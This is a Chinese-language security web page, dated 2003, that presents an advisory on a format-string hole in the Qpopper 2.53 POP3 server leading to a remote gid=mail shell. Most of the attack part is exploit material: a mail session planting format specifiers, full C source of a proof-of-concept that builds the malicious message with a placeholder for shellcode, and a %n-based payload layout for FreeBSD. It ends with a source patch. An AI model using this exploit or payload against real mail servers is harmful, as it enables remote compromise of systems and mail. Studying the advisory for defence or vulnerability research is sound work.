网页功能: 加入收藏 设为首页 网站搜索  
通过Qpopper2.53远程获得shell
发表日期:2003-08-13作者:[] 出处:  

通过Qpopper2.53远程获得shell

by quack

参考:bufferoverflow secrurity advisory #5 by prizm

   

* 简述

  Qpopper是使用相当广泛的POP3服务器,允许用户通过POP3客户端读他们的信件。

  它通常用于标准的UNIX系统里的邮件服务。

  

* 问题

  在Qpopper2.53的版本中,QPOP的漏洞会使你远程获得一个gid=mail的shell。

  问题出在pop_msg()函数,当用户执行euidl命令时会出错,让我们检查一下Qpop

  2.53的代码吧:

  

  --> pop_uidl.c,在代码第150行处:

   ................

      sprintf(buffer, "%d %s", msg_id, mp->uidl_str);

      if (nl = index(buffer, NEWLINE)) *nl = 0;

      sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));

   !   return (pop_msg (p,POP_SUCCESS, buffer));

                   ^^^^^^^^^^^^^

   .................

  在pop_msg.c中函数pop_msg()定义为:pop_msg(POP *p, int stat,

  const char *format,...), 这里有一个用户输入的format:)

    好了,我们想象一下下面的情况吧:

     MAIL FROM:<hakker@evil.org>

     200 Ok

     RCPT TO:<luser@host.withqpop253.com>

     200 Ok

     data

     200 Okey, okey. end with "."

     Subject: still trust qpop?=/

     X-UIDL: AAAAAAAAAAAAAAAA

     From: %p%p%p%p%p%p%p

     test

     .

     200 BLABLABLA Ok, message accepted for delivery.

   然后用户luser连接到他的pop帐号并且运行euidl命令:

    +OK QPOP (version 2.53) at b0f starting. <666.666@b0f>

    USER luser

    +OK Password required for luser.

    PASS secret

    +OK luser has 3 messages (1644 octets).

    euidl 3

    +OK 2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5e0xbfbfd1e80x8057028

   Yeah, thats from my box with FreeBSD. As you can see, our %p%p%p%p%p%p%p

   where implemented as arguments for vsnprintf() command.

* 利用

     能够做到吧? 是的, 当然!

   但那有个小小的限制. Qpopper2.53运行于FreeBSD上的会比LINUX更难于利用,因为

     freebsd将pop_msg.c函数中的vsprintf()调用改成了vsnprintf()调用,两者之间有

     着显著的差别——当然也是可以利用的:)

    利用程序

    --------

/* qpop_euidl.c exploit by prizm/Buffer0verflow Security

*

* Sample exploit for buffer overflow in Qpopper 2.53.

* This little proggie generates a mail u need to send.

*

* Standard disclaimer applies.

* By the way, exploit is broken =) You need to insert shellcode.

*

* MAD greets to tf8 for pointing out the bug, and all other b0f members.

* greets to USSRLabs and ADM

* check http://b0f.freebsd.lublin.pl/ for news.

*/

#include <stdio.h>

#include <string.h>

char shellcode[]="imnothing";

int main(int argc, char *argv[])

{

  int i;

  unsigned long ra=0;

  if(argc!=2) {

    fprintf(stderr,"Usage: %s return_addr\n", argv[0]);

    exit(0);

  }

  sscanf(argv[1], "%x", &ra);

  if(!ra)

    return;

  if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {

    fprintf(stderr,"Bad shellcode\n");

    exit(0);

  }

  fprintf(stderr,"return address: 0x%.8x\n", ra);

  printf("X-UIDL: ");

  for(i=0; i < sizeof(shellcode);i++)

    printf("%c", shellcode[i]);

  printf("\r\n");

  printf("From: %s", "%.1000d");

  for(i=0; i < 50; i++)

    printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24);

  printf("@test\r\n");

  printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");

  return 0;

}

  在FreeBSD上利用QPOP端口

  ---------------------

  这不太容易,因为函数vsprintf()已经被vsnprintf()替代了,所以我们无法造成溢出,但我们

  仍然能够控制它——记得%n么?它的原理如下:

  这里面有个利用%n的小窍门。看看下面的代码吧,能否理解为什么其输出的结果是2000,

    而不是sizeof(b):

---<cut>---

#include <stdio.h>

int main(void){

    int s=1; char b[1024]; int q;

    snprintf(b, sizeof(b), "%.2000d%n", 1, &q);

    return printf("%d, overflowed? %s\n", q, (s==1?"NO":"YES"));

}

---</cut>---

  在我的FreeBSD 3.4机器上我得到了以下结果:

  2000, overflowed? NO

  嘿,刚开始我希望能看到1024,但你知道——有时程序的运行并不容易控制,看看下面

    或许能有些帮助。

    Exploiting it:

  a) 找出用户的输入在堆栈中的精确位置。

  b) Compose a message with filed X-UIDL and From:

    X-UIDL: ppRETARETARETARETA

    From: <SHELLCODE>%.RETURNd%n@test

  其中:

  "pp"      用来填充的(二至三个字节)

  "RETA"     表示返回的SHELLCODE的地址

  "SHELLCODE"    guess

  "RETURN"    返回地址

  c) 如果你需要freebsd版本的利用程序——自己动手吧:)

* 存在漏洞的版本

  2.53(其它呢?不确定……)

* 补丁

    你可以从http://www.eudora.com/freeware/qpop.html#CURRENT下载到Qpopper 3.1的版

    本,其中这个问题已经解决。

    或者你可以自己动手修改代码:

   在pop_msg.c的150行及62行, 将:

  - return (pop_msg (p,POP_SUCCESS, buffer));

   修改为:

  + return (pop_msg (p,POP_SUCCESS, "%s", buffer));

我来说两句】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 通过Qpopper2.53远程获得shell
本类热点文章
  一次简单脚本攻击实例
  我是这样渗透入侵孤独剑客网站(janker...
  入侵日记一则
  入侵日记一则
  老式模拟手机密码破解
  老式模拟手机密码破解
  中国鹰派联盟
  初级黑客安全技术命令详解
  如何利用终端服务入侵远程计算机
  如何利用终端服务入侵远程计算机
  “流光异彩”话小榕
  一次入侵过程
最新分类信息我要发布 
最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放  
Copyright ©2003-2024 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00467